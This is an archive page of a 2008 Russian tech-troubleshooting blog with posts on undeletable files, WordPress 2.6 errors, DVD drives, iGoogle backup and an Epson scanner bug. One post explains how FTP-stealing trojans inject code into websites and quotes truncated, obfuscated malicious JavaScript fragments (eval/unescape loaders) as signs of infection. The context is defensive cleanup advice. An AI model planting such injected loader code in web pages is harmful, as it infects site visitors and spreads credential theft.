Сети для людей / Network for people

Декабрь 3, 2008

Что делать если "не удается удалить файл. не удается произвести чтение из файла или с диска"

Filed under: Устранение проблем, Утилиты, Windows — vladbuk @ 9:59 дп

Иногда, после какого-то сбоя в Windows нельзя удалить файл или папку. При попытке удаления или переименования выдается сообщение «Не удается удалить файл. не удается произвести чтение из файла или с диска«. Перезагрузка в безопасном режиме не помогает. Не помогают все известные файловые менеджеры.

В этом случае на помощь придет утилита Delinvfile (Delete Invalid Files and Folders). Скачать эту программу можно по ссылке http://www.purgeie.com/delinv/dldelinv.htm.

Разобраться с программой несложно — достаточно зайти в папку с неудаляемым файлом и он уже будет подсвечен красным цветом. Затем необходимо его просто удалить одним из предлагаемых способов.

Реклама

Август 27, 2008

Как заразить вирусом свой собственный вебсайт

Filed under: Устранение проблем, Хостинг — vladbuk @ 11:02 дп

Эта статья адресована в первую очередь всем владельцам собственных вебсайтов. Возможно, вы уже сталкивались с враждебным вторжением, а может быть, вам это еще только предстоит. Но в любом случае далеко не всегда виноватым является хостинг.

В последнее время участились случаи внедрения вредоносного кода в HTML и PHP страницы, а также в файл .htaccess. Как это проявляется?

  • При доступе к своему сайту вы можете получать сообщения об ошибках php, если там применяются скрипты или используется какой-либо движок на PHP (wordpress, joomla).
  • Обычные HTML страницы могут быть искажены или доступ к ним ограничен либо полностью отсутствовать.
  • Возможно появление ошибки выполнения скриптов 500 при заражении .htaccess.
  • Сообщение антивирусных программ о заражении при открытии своих сайтов.
  • Что-либо другое, не соответствующее нормальной работе вебсайта.

Что все это значит и как проверяется?

При просмотре исходного кода вебстраниц вначале или в самом конце присутствует загадочный код как правило в виде кодированного javascript. Скажем вот такого вида (приводится не полностью):

<script>function vyVdxyxdaYY(vyatVYybYVy){ var vYdbddxaVaV=530;
return(parseInt(vyatVYybYVy,16));}function vayatyaVatd(vVayxytttdy)
{ var vdxxaxdaYVy=530; var vtVbxYytbYa='';
for(vYbbbaxVbYx=0; vYbbbaxVbYx<vvayxytttdy.length;>...

или

<!-- [ ab2aab4b9d766629b77b9b4febadeb6f ] --><script>eval
(unescape('function%20crZnLPY%28uTm%29%7Bfunction%20sPWGz%28unYS%29%7
Bvar%20fUrEeI%3D0%2CvEImT%2CtKGn%3DunYS.
length%3Bfor%28vEImT%3D0%3BvEImT%3CtKGn%3BvEImT++%29fUrEeI+%3DunYS.
charCodeAt%28vEImT%29*tKGn%3Breturn%20new%20String%28fUrEeI%29%7DuTm%3
Dunescape%28uTm%29%3Bvar%20uneE%3Deval%28%27ajrdgMu%
3Amje%3Fn%3Ft%3Fs%3F.%3Fcda%3Fldlde%3Fe%3A%27.
replace%28/%5BM%5C%3Fdj%5C%3A%5D/g%2C%20%27%27%29%29.toString ...

.csharpcode, .csharpcode pre
{
font-size: small;
color: black;
font-family: consolas, «Courier New», courier, monospace;
background-color: #ffffff;
/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt
{
background-color: #f4f4f4;
width: 100%;
margin: 0em;
}
.csharpcode .lnum { color: #606060; }Это самый достоверный признак заражения вредоносным кодом. При посещении вашей страницы при помощи Internet Explorer (как правило) компьютер пользователя заражается трояном и цепная реакция продолжается. Вирус ищет новые лазейки для распространения при этом собирая пароли.

Кто посмел это сделать и как его найти?

В 99% случаев источником данного заражения собственных вебсайтов являетесь вы! Ваш компьютер с Windows уже заражен трояном, который, используя пароли доступа по FTP к вашим вебсайтам, без вашего ведома проникает на них и заражает файлы в корневой публичной папке. По последним данным заражению могут подвергаться и вложенные папки до нескольких уровней вложения. Заражаются файлы HTML, PHP, .htaccess. Самые последние вирусы могут изменять расширения HTML файлов на .htm. Код дописывается в конец файла. И при загрузке страницы запускает iframe. И цепочка продолжается.

Что делать и как быть?

  1. Проверить компьютер на предмет наличия вирусов и делать это систематически, регулярно обновляя вирусные базы.
  2. Проверить компьютер на трояны и spyware, если антивирус этого не позволяет.
  3. Сменить пароль на доступ к серверу.
  4. Отменить сохранение пароля в FTP-менеджерах, которыми вы пользуетесь как администратор FTP-сервера (Total Commander, Far, и т.п.) — т.е вводить пароли вручную.
  5. Регулярно проводить архивирование незараженных вебсайтов.

Единственный способ лечения это скачивание вебсайта (при отсутствии локальной копии) и ручное удаление вредоносного кода. Либо выгрузка чистой сохраненной версии.


Небольшой совет профессионалов: ftp пароли можно сохранять с дописанным одним символом и при запросе пароля его просто удалять.

При соблюдении указанных действий появление новых заражений прекращается.

Август 5, 2008

Проблемы с локализацией WordPress 2.6

Filed under: Устранение проблем, Wordpress — vladbuk @ 6:34 пп

Совершенству нет предела, но Вордпресс далёк от совершенства. Профессиональные программисты в один голос трубят о недостатках кода WordPress. Но, как говорится, ругать еду ресторана Макдональдс могут все, а зарабатывать так, как Макдональдс не может никто. Поэтому радуемся лучшему беслпатному движку блогов всех времен и народов и попутно исправляем ошибки кода.

В русской локализации последней на текущий момент версии WordPress 2.6 в админ панели (панель приборов) выскакивает предупреждение и напрочь слетает кодировка:

Warning: unpack() [function.unpack]: Type A: not enough input, need 85, have 0 in /home/public_html/wp-includes/streams.php on line 64
Warning: array_shift() [function.array-shift]: The argument should be an array in /home/public_html/wp-includes/streams.php on line 64
Warning: unpack() [function.unpack]: Type A: not enough input, need 8192, have 0 in /home/public_html/wp-includes/streams.php on line 64
Warning: array_shift() [function.array-shift]: The argument should be an array in /home/public_html/wp-includes/streams.php on line 64
Warning: unpack() [function.unpack]: Type A: not enough input, need 1769472, have 0 in /home/public_html/wp-includes/streams.php on line 64
Warning: array_shift() [function.array-shift]: The argument should be an array in /home/public_html/wp-includes/streams.php on line 64
... ... ...

Не вдаваясь в детали ошибка заключается в неправильном задании типов переменных (ну или что-то подобное).

Решение.

1. Не использовать русскую локализацию. В файле настроек wp-congfig.php удаляем «ru_RU» в строке define (‘WPLANG’, ‘ru_RU’);.

2. Скачиваем файл streams.php на странице WordPress error during translation file usage — the reason (ссылка на архив в конец статьи). Заменяем старый на новый в папке /wp-includes.

Июнь 12, 2008

Программы-убийцы. Список особо опасных для человека приложений

Filed under: Устранение проблем, Soft — vladbuk @ 5:04 пп

Недавно на глаза попалась статья «10 Time-Killer Apps When Stuck In An Airport» (10 приложений, помогающих убить время ожидания в аэропорту). Если вглянуть на эти советы по-другому, то становится ясно, что не все программы и вебсайты одинаково полезны. Существующие средства коммуникации, социальные сети и простые игрушки крадут наше время, которого отводится-то всего 300-400 тысяч часов для бодрствования. А это ведь не так много, и использовать это время нерационально просто убийственно. После непродолжительного анализа образовался список программ и вебсайтов — убийц нашего рабочего и свободного времени.

Вебсайт Одноклассники. Без комментариев.

Веб-пейджеры: ICQ, QIP, Miranda и пр. Оперативность обычной электронной почты не намного меньше этих чатилок. Но засесть за клавиатуру можно надолго.

Вебсайты развлекательного характера по типу voffka.com, postnext.com и пр. Раскрытие темы сисек и пилоток, пятничные подборки, фотожабы можно рассматривать ежедневно и забывать о повседневных делах.

Пасьянс косынка, сапёр, червы и пасьянс паук. И все, что находится в меню Пуск -> Программы -> Игры. Забавные безделушки, не требующие наличия высоких показателей IQ также и не способствуют никакому развитию.

Вебсайты новостей и интернет-газеты. Перечислять даже примерный список нет смысла — все и так всё знают. Актуальность возрастает во время выборов, военных действий и катаклизмов.

Дополнительный пункт включает все остальные развлекательные, игровые и порно сайты, а также всевозможные и разнообразные компьютерные игры. Если вам надо отдохнуть от монотонной работы за компьютером — в первую очередь встаньте из-за компьютера и отойдите от него подальше. Лучший отдых это смена работы, ну или обстановки 🙂

Июнь 5, 2008

DVD привод LG не видит CD-R диски

Filed under: Устранение проблем — vladbuk @ 7:17 дп

После года безупречной работы мультиформатного привода DVD, производства корпорации LG, произошел сбой, в результате которого пропала возможность записи CD-R. При этом CD-RW диски, а также DVD-R и DVD-RW писались нормально. Собственно никаких внешних проявлений аварии не было. Всё произошло ни с того ни с сего. Перестал писать и всё. Проблема была устранена примерно таким же образом, как и возникла — почти сама собой. Просто был вытащен из разъема шлейф, переставлен на Master, потом обратно на Slave и всё заработало 🙂

Но всё-же методика устранения данного рода сбоев в работе DVD приводов может быть классифицирована и перечислена несколькими пунктами. Возможно, неисправность будет устранена в результате какого-либо из приведенных действий и до покупки нового привода дело не дойдёт.

Итак, если ваш DVD привод перестал писать или читать CD-R диски или другие типы носителей информации, которые он понимал раньше, выполните следующие процедуры (применимо не только для LG, но и приводов других производителей):

  1. Отнести в гарантийную мастерскую. Если гарантии нет, или закончилась, идём дальше.
  2. Удалить привод из списка устройств в Диспетчере устройств и перезагрузить компьютер.
  3. Обновить версию программы для записи дисков (Nero или др.).
  4. Снять привод со своего компьютера и проверить на другом, если есть такая возможность. Это позволит убедиться в его работоспособности и искать неисправности в самом компьютере или операционной системе.
  5. Выполнить профилактическую очистку поверхности привода от пыли и грязи.
  6. Удалить из системы, если имеются, дополнительные приводы чтения/записи лазерных дисков. Проверить возможность работы на других слотах IDE/ATA шины (Master/Slave/Cable Select).
  7. Произвести полное обнуление (сброс) CMOS. Причем по всем правилам, с выниманием батарейки. При этом нажать несколько раз кнопку включения питания на отключенном от сети компьютере.
  8. Переустановить IDE ATA/ATAPI контроллер (используя установочный диск к материнской плате). Или же обновить драйвера с сайта производителя. Иногда сбои происходят при установке альтернативных программ прожига.
  9. Произвести очистку поверхности лазера при помощи специального чистящего диска. При этом желательно программно снизить скорость вращения привода (при помощи дисковых утилит), поскольку чистящие диски предназначены в первую очередь для бытовых низкоскоростных приводов. Можно это сделать вручную при помощи ватного тампона, но для этого необходима полная разборка привода. В этом случае также следует очистить поверхность призмы, находящейся под лазером.
  10. Можно попытаться поднять ток головки лазера (маленький подстроечный резистор на блоке лазерной головки). На новых приводах устанавливается два лазера (для DVD и CD) — следует найти нужный.

Если все перечисленные методы не помогли:

  • Воспользоваться платным ремонтом приводов в специализированной мастерской.
  • Выкинуть старый и купить новый привод.

И помните, срок службы DVD приводов ограничен и, как правило, составляет 1,5—2 года активной эксплуатации. У дешевых устрйств время бесперебойной работы и того меньше.

Апрель 16, 2008

Резервирование и восстановление страницы iGoogle

Filed under: Устранение проблем, Google — vladbuk @ 10:18 дп

Для поклонников портальной стартовой страницы iGoogle существует опция резервного копирования и восстановления. Поскольку особых ограничений на количество установленных гаджетов и дополнительных страниц нет, то при определённых условиях можно и чего-то подпортить во внешнем облике. Или попадется какой-нибудь злостный гаджет, который надобавляет глюков так, что и удалить его будет трудно.

В русском интерфейсе настроек предоставлены опции только для восстановления из сохраненной автоматически версии или ручное создание резервной копии. Но при установленном английском языке интерфейса добавляется возможность импорта/экспорта всей страницы в виде .xml файла. Это можно использовать для переноса настроенной страницы iGoogle на другой аккаунт. Сохраняются все вкладки, структура макета, тема, каналы, гаджеты и их настройки.

Март 20, 2008

Проблема сканера Epson Perfection и Photoshop: could not complete the import command because of a problem with the acquisition module interface

Filed under: Устранение проблем, Soft — vladbuk @ 1:58 пп

Странный глюк, появляющийся, можно сказать, по неизвестной причине, нарушает процесс сканирования. Точнее работа сканера становится невозможной — просто появляется сообщение об ошибке: «Could not complete the import command because of a problem with the acquisition module interface». Удаление, переустановка программного обеспечения, очистка реестра и другие действия не приводят к устранению проблемы.

Решение же очень тривиальное и разумному осмыслению не поддается. Необходимо удалить .bmp файл предварительного просмотра предыдущего сканирования по адресу:

C:\Documents and Settings\Имя пользователя\Application Data\EPSON\ESCNDV\ES0041\

Название последней директории в списке может быть другим, в зависимости от модели сканера.

Вот так вот…

Technorati Tags: ,,

Создайте бесплатный сайт или блог на WordPress.com.